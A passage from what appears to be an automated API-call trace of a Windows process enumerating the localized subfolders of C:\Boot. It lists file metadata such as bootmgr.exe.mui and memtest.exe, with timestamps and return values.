ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.048] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.048] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.048] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0037.049] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.049] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.049] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.049] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.049] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.049] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0037.049] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.050] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.050] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.050] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.050] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.050] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0037.050] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.050] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.050] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.051] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.051] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.051] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0037.051] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.052] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.052] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.052] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.052] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.052] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0037.052] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.052] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.052] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.052] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.052] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.052] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0037.053] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.053] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.053] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.054] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.054] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.054] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0037.054] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.055] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.055] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.055] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.055] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.055] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0037.055] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.056] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.056] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.056] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.056] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.056] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0037.056] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.057] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.057] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.057] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.057] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.057] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0037.057] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.073] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.073] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.073] FindClose (in: hFindFile=0x7cb8d0 | out: hFindFile=0x7cb8d0) returned 1 [0037.073] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.073] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0037.073] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb8d0 [0037.073] FindNextFileW (in: hFindFile=0x7cb8d0, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, 